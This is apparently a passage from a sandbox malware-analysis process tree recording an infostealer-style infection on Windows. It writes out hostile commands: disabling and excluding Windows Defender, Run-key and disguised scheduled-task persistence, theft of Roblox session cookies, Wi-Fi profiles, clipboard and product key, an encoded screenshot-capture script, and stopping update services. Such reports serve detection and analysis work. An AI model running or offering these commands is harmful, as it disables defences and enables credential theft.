        "C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe"
        15⤵
        Executes dropped EXE
        
        PID:2796
        
        C:\ProgramData\main.exe
        
        "C:\ProgramData\main.exe"
        10⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1568
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpF02C.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpF02C.tmp.bat
        11⤵
        
        PID:1120
        
        C:\Windows\system32\tasklist.exe
        
        Tasklist /fi "PID eq 1568"
        12⤵
        Enumerates processes with tasklist
        
        PID:2976
        
        C:\Windows\system32\find.exe
        
        find ":"
        12⤵
        
        PID:2600
        
        C:\Windows\system32\timeout.exe
        
        Timeout /T 1 /Nobreak
        12⤵
        Delays execution with timeout.exe
        
        PID:2632
        
        C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
        
        "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
        12⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious use of SetWindowsHookEx
        
        PID:3592
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
        13⤵
        
        PID:4964
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
        14⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3660
        
        C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\svchost64.exe
        
        "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\svchost64.exe"
        13⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:2380
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\pFG3Duil1NAbFHoInFFIi7JfPHXMZXRvb98S0ewJA0VkW.vbe"
        14⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:1744
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\oGgyulsi03j6EO3sjCC.bat" "
        15⤵
        System Location Discovery: System Language Discovery
        
        PID:536
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        16⤵
        Suspicious use of SetWindowsHookEx
        
        PID:1992
        
        C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\ChainComServermonitor.exe
        
        "C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor/ChainComServermonitor.exe"
        16⤵
        Executes dropped EXE
        
        PID:1820
        
        C:\ProgramData\setup.exe
        
        "C:\ProgramData\setup.exe"
        10⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        
        PID:1844
      - C:\ProgramData\Microsoft\based.exe
        
        "C:\ProgramData\Microsoft\based.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2476
        
        C:\ProgramData\Microsoft\based.exe
        
        "C:\ProgramData\Microsoft\based.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:4932
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1652
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2736
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3888
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4660
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        9⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4676
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4744
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        9⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4912
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1552
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3484
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:2552
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3052
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        8⤵
        
        PID:4680
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        9⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1720
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        8⤵
        
        PID:4368
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        9⤵
        
        PID:3644
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3604
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        9⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3572
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4304
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        9⤵
        Gathers system information
        
        PID:4244
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3584
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\icf22l0l\icf22l0l.cmdline"
        10⤵
        
        PID:3512
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDFA2.tmp" "c:\Users\Admin\AppData\Local\Temp\icf22l0l\CSC16197087AA2C40C99177B5277037827A.TMP"
        11⤵
        
        PID:1508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        8⤵
        
        PID:4032
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        9⤵
        
        PID:4780
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        8⤵
        
        PID:5088
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        9⤵
        
        PID:516
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        8⤵
        
        PID:4976
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        9⤵
        
        PID:1668
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        8⤵
        
        PID:4520
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        9⤵
        
        PID:2976
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        8⤵
        
        PID:5060
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        9⤵
        
        PID:2540
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        8⤵
        
        PID:1836
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        8⤵
        
        PID:4596
        
        C:\Windows\system32\getmac.exe
        
        getmac
        9⤵
        
        PID:4128
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        8⤵
        
        PID:2472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4520
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI24762\rar.exe a -r -hp"amnesia" "C:\Users\Admin\AppData\Local\Temp\1rzuu.zip" *"
        8⤵
        
        PID:4852
        
        C:\Users\Admin\AppData\Local\Temp\_MEI24762\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI24762\rar.exe a -r -hp"amnesia" "C:\Users\Admin\AppData\Local\Temp\1rzuu.zip" *
        9⤵
        Executes dropped EXE
        
        PID:2292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        8⤵
        
        PID:1668
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4352
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        8⤵
        
        PID:2848
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        9⤵
        
        PID:3224
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        8⤵
        
        PID:4404
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        9⤵
        
        PID:4940
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        8⤵
        
        PID:4464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4576
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        8⤵
        
        PID:2768
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        9⤵
        Detects videocard installed
        
        PID:816
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        8⤵
        
        PID:1916
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        9⤵
        
        PID:2984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4808
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:2768
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:5092
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2424
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:448
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3388
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4628
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:2716
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:2072
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\yntnomxcupkb.xml"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2776
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:5112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:2728
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1596
- C:\Windows\System32\cmd.exe
